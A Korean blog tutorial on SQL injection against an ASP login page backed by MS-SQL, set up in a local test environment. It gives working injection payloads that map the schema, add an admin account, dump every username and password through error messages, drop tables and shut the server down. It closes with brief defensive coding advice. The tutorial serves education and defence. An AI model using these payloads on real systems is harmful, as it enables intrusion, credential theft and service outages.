적을 알아야 대처할 수 있습니다.
이 기술을 배워서, 취약하지 않은 소프트웨어를 제작하는 능력을 기르도록 합시다.

테스트는 ASP 환경에서 실시되었지만, SQL 인젝션은 데이터베이스를 사용하는 모든 언어에서 일어날 수 있습니다. (C, C++, PHP, ASP, JSP 등등)

공격자는 SQL 인젝션 취약점을 사용하여 데이터베이스 내의 모든 정보를 추출할 수 있습니다.

 

테스트 환경

  • OS :  Windows 2000 pro
  • DB : MS SQL personal
  • 스크립트 언어 : ASP

login_page.html 과 process_login.asp 파일을 IIS 서버에 올리고 테스트한다.
로그인 페이지는 다음과 같다.

사용자 삽입 이미지

 

MS-SQL에 미리 테이블을 생성하고 값을 입력해두자.

테이블생성

1
2
3
4
5
6
create table users(
    id int,
    username varchar(255),
    password varchar(25),
    privs int
)

값 입력

1
2
3
4
5
6
7
insert into users values( 0, 'admin' , '1234', 0xffff);
 
insert into users values( 0, 'guest', 'guest', 0x0000);
 
insert into users values( 0, 'chris' , 'password', 0x00ff);
 
insert into users values( 0, 'fred', 'sesame', 0x00ff);

 

공격자의 관점

이와 같은 DB 시스템에서, 공격자가 자기 자신의 계정을 만들고 싶어했을 때 users 라는 테이블의 존재나 구조를 모르면 공격이 불가능할 것이다.

우연히 맞춘다 해도, privs 라는 필드는 어떤 필드인지 확실하지 않다.

공격자에게는 다행이게도, ASP 기준 application에서는 에러가 있을 경우 그 내용을 리턴하는데 내용이 노출되면 공격자가 그것을 참고하여 데이터베이스의 구조를 파악할 수 있게 된다.

 


 

굳이 데이터베이스 구조를 파악할 필요가 없는 경우

공개 오픈소스의 경우 데이터베이스 구조가 알려져 있기 때문에,

취약점이 발견되면 본문 내용처럼 굳이 테이블명이나 필드명을 조회할 필요없이 사용자 정보를 추출할 수 있습니다.

 

특히 2000년 초기에 개발되고 널리 쓰인 - 많은 보안 취약점이 있는것으로 알려진 제로보드4의 경우

배포 및 유지보수가 중단된지 5년이 넘었으며(2009년 9월 25일 중지) [공지참조] , 빠른 시일내에 시스템을 교체하기를 권장합니다.

 


 

공격 1 - 테이블명 알아내기 (having)

username : ' having 1=1--

참고로

1) having절은 group by에 의한 결과를 제한할 때 사용한다. group by 에 의해 결과를 집계한 다음 having 절에 명시한 조건으로 맞지 않는 결과는 버린다.

2) -- 는 뒤에 오는 내용을 ‘single line comment(한 줄짜리 주석)로 만든다.

asp 코드를 보면

1
select * from users where username = ' +username+ ' and password = ' +password+'

라고 되어있다. 여기서 보라색 username, password는 사용자가 입력한 값이 들어가게 된다.

username 칸에 위와 같이 입력하면 내부적으로 완성되는 쿼리는 다음과 같다.

내부적으로 완성되는 쿼리 :

1
select * from users where username = '' having 1=1-- and password = ''

-- 이하는 주석처리되므로 결국 다음과 같다.

1
select * from users where username = '' having 1=1--

이는 다음과 같은 에러를 만든다

Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
 [Microsoft][ODBC SQL Server Driver][SQL Server]'users.id' 열이 집계 함수에 없고 GROUP BY 절이 없으므로 SELECT 목록에서 사용할 수 없습니다.
 /process_login.asp, line 34

이 에러메시지를 통해 table명이 users라는 것과 첫번째 필드명이 id라는 것을 알 수 있다.
공격자는 이제 각 필드를 알아낼 차례다.

 

공격 2 - 필드명 알아내기 (group by)

username : ' group by users.id having 1=1--

내부적으로 완성되는 쿼리 :

1
select * from users where username = ''group by users.id having 1=1-- and password =''

이는 다음과 같은 오류를 낸다.

Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
 [Microsoft][ODBC SQL Server Driver][SQL Server]'users.username' 열이 집계 함수나 GROUP BY 절에 없으므로 SELECT 목록에서 사용할 수 없습니다.
 /process_login.asp, line 34

결국 공격자는 username을 얻는데에도 성공한다.

‘group by users.id, users.username having 1=1- 를 이용해 users.password를 알수 있고,

‘group by users.id, users.username, users.password having 1=1- 를 이용해 users.privs를 알수 있다.

이런식으로 하나씩 늘려가다보면 마침내 다음과 같이 에러를 내지 않는 쿼리를 완성하게 된다.

username : ' group by users.id, users.username, users.password, users.privs having 1=1--

이는 다음과 같은 뜻이 된다.

1
select * from users where username  = ''

이로써, 공격자는 두 가지 사실을 알게 된다.

  • 이 쿼리가 오직 users 테이블만 참조한다는 것
  • users 테이블에서 id, username, password, privs 컬럼을 사용한다는 것

 

공격 3 - 필드 타입 알아내기 (union)

공격자는 아직 각 필드의 타입을 모른다.

타입에 대한 에러를 보기 위해 다음과 같은 공격 쿼리를 입력한다.

Username : ' union select sum(username) from users--

내부적으로 완성되는 쿼리:

1
select * from users where username = '' union select sum(username) from users-- and password=''

union 쿼리는 두개의 테이블에 있는 내용을 동시에 가져오는 방법이며 두테이블이 전혀 관계 없어도 가능하다. 

http://blog.naver.com/mulriver?Redirect=Log&logNo=120005713026

 

여하튼 위의 쿼리는 sum 명령에 대하여 계산을 시도하다 다음과 같은 에러가 난다.

 Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
 [Microsoft][ODBC SQL Server Driver][SQL Server]sum or average aggregate 연산에서는 varchar 데이터 형식을 인수로 취할 수 없습니다.
 /process_login.asp, line 34

 

이 에러 메시지는 username 이 varchar 형임을 말해준다. 만약 varchar가 아니라 숫자형이었으면 어땠을까?

Username : ' union select sum(id) from users--

내부적으로 완성된 쿼리 :

1
select * from username='' union select sum(id) from users-- and password = ''

id(numeric 타입)를 sum()으로 계산하려고 하니 다음과 같은 에러가 난다.

Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
 [Microsoft][ODBC SQL Server Driver][SQL Server]UNION 연산자를 포함하는 SQL 문의 모든 쿼리는 대상 목록에 동일한 개수의 식이 있어야 합니다.
 /process_login.asp, line 34

type conversion에 관련한 메시지가 된다. 만약 string을 integer형으로 변환시키려고 하면, string의 내용 전부가 에러 메시지로 출력되는 것이다. 이러한 기술을 이용해 어떤 table의 어떤 column이든 type 을 대략 추정할 수 있다. 이는 공격자에게  완벽한 insert문을 만들 수 있게 해준다.

공격 4 - 계정만들기 (insert)

공격 3까지에서 테이블명, 필드명, 각 타입을 알았으므로 공격자가 임의의 값을 테이블에 넣는 쿼리를 만들어 실행할 수 있다.

username : '; insert into users values(666,'attacker' , 'foobar', 0xffff)--

내부적으로 완성된 쿼리:

1
select * from username=''; insert into users values(666,'attacker' , 'foobar', 0xffff)-- and password = ''

세미콜론(;)있는 부분에서 select 문이 끝나고 insert 문이 실행되어, attacker의 데이터가 고스란히 db 테이블에 저장된다.

 

공격 5 - 버전 및 환경 알아내기 (@@version)

공격자는 database나 서버 환경에 대한 정보도 밝혀낼 수 있다.  우리 테스트 페이지에서는 SQL서버의 버전과 이것이 동작하는 OS도 알려준다.

username :  ' union select @@version,1,1,1--

내부적으로 완성되는 쿼리:

1
select * from users where username =‘’ union select @@version,1,1,1-- and password = ‘’

에러메시지는 다음과 같다.

Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
 [Microsoft][ODBC SQL Server Driver][SQL Server]nvarchar 값 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Personal Edition on Windows NT 5.0 (Build 2195: Service Pack 4) '을(를) int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다.
 /process_login.asp, line 34

 

이 공격은 @@version을 integer형으로 변환시키려고 시도한다. 왜냐면, users 테이블의 첫 column이 integer형이기 때문이다.

참고 )  ‘ union select 1, @@version,1, 1- 를 이용하면 정상인것처럼 출력됨

이 기술을 이용해 db의 어떤 테이블의 어떤 값이든 읽을 수 있다.

 

공격 6 - 계정 추출하기 (type convert error)

공격자가 username과 password에 관심이 있다면 users 테이블에서 다음과 같은 시도를 할 것이다.

Username : 'union select min(username), 1,1,1 from users where username > 'a'--

내부적으로 완성된 쿼리 :

1
select * from users where username ='' union select min(username), 1,1,1 from users where username > 'a'-- and password =''

이 쿼리문은 ‘a’보다 큰 username 중 minimum(최소)값을 가져온다. 그리고 그것을 integer형으로 변환을 시도하다가 다음과 같은 에러를 발생시킨다.

Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
 [Microsoft][ODBC SQL Server Driver][SQL Server]varchar 값 'admin'을(를) int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다.
 /process_login.asp, line 34

 

이로서, 공격자는 admin계정이 존재함을 알게 된다. 공격자는 where 절을 이용해 각 계정의 이름을 모두 알아낼 수 있다.

‘union select min(username), 1,1,1 from users where username > ‘admin’-
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
 [Microsoft][ODBC SQL Server Driver][SQL Server]varchar 값 'chris'을(를) int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다.
 /process_login.asp, line 34

 

‘union select min(username), 1,1,1 from users where username > ‘chris’-
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]varchar 값 'fred'을(를) int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다.
 /process_login.asp, line 34

 

‘union select min(username), 1,1,1 from users where username > ‘fred’-
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
 [Microsoft][ODBC SQL Server Driver][SQL Server]varchar 값 'guest'을(를) int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다.
 /process_login.asp, line 34

 

‘union select min(username), 1,1,1 from users where username > ‘guest’-
-> 통과 (더이상 없음)

 

공격 7 - 계정의 패스워드 알아내기

공격자가  username을 알아내기로 마음 먹었다면, password도 알아낼 수 있다.

Username : 'union select password,1,1,1 from users where username = 'admin'--

내부적으로 완성되는 쿼리:

1
select * from users where username = '' union select password,1,1,1 from users where username = 'admin'-- and password =''
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
 [Microsoft][ODBC SQL Server Driver][SQL Server]varchar 값 '1234'을(를) int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다.
 /process_login.asp, line 34

 

공격 8 - Transact-SQL

더 똑똑한 기술이 있다. username 과 password를 연계해 single string 으로 만들어 이를 integer형으로 변환을 시도하는 방식이다. Transact-SQL 명령어로 string을 고스란히 한라인에 쓸 수 있다.

이용하는 쿼리 :

  1. begin declare @ret varchar(8000)
    set @ret=’:’
    select @ret=@ret+’ ‘+username+’/’+password from users where
    username>@ret
    select @ret as ret into foo
    end

이를 한 줄로 만들어 공격에 임해보자.

username : '; begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+password from users where username>@ret select @ret as ret into foo end--

 

이  결과로 ‘ret’이라는 single column을 가진 ‘foo’라는 테이블을 만들고 string을 거기 집어넣는다.

이제 공격자는 그 테이블의 string을 가져온다.

username : ' union select ret,1,1,1 from foo--
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
 [Microsoft][ODBC SQL Server Driver][SQL Server]varchar 값 ': admin/1234 guest/guest chris/password fred/sesame'을(를) int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다.
 /process_login.asp, line 34

모든 id와 password가 에러메시지에 한줄로 나오는 것을 볼 수 있다.

이제 이를 확인한 공격자는 깔끔하게 table을 없애거나(drop) 내용을 삭제(delete)한다.

Username : ‘; drop table foo-

내부적으로 완성된 쿼리 :
select * from users where username =‘’;drop table foo- and password=‘’

공격 9 - shutdown

Username : '; shutdown--

 

sql 서버 인스턴스를 shutdown 시킨다.

 

결론

위의 예제를 통해 다음의 작업이 가능함을 알 수 있었다.

  • 데이터베이스 구조 파악
  • 데이터베이스 저장 값 조회
  • 관리자 계정 추가
  • 서버 정보조회
  • 데이터베이스 삭제
  • 데이터베이스 종료

 

예제들은 sql injection 의 수박 겉핥기식의 일례일 뿐이다.
공격자가 DB로 부터 얻는 에러가 방대할수록 공격이 쉬워진다.

Advanced sql injection in SQL Server Applications 에는 웹 프로그래밍상의 방어적 코딩 방안이 나와 있다.
1. Escape single quote
‘ (외따옴표)의 escape코드를 이용
2. Reject known bad input
select, insert, delete, drop , -, ‘ 등의 있는지 검사
3. Allow only good input
abcdefg…ABCDEFG…0123456789 만 허용

Advanced sql injection In SQL Server applications (pdf)


'보안 > ' 카테고리의 다른 글

웹 보안에 자주사용되는 공격기법  (0) 2015.11.20
XSS(Cross Site Scripting) 공격  (0) 2015.11.20
SQL 인젝션 이란?  (0) 2015.11.20
웹해킹 - SQL 인젝션  (0) 2015.11.20
웹 어플리케이션 점검 방법  (0) 2015.11.20
블로그 이미지

532

처음 프로그래밍을 시작한 개발자들은 Hello World!를 기억 할 것이다. Hello world가 Hell World가 될 줄 몰랐던 한 개발자의 이야기. 게시글의 출처를 표기하며, 출처를 남기지 않고 펌을 하는것에 대해 법적 책임을 묻지 않습니다.

,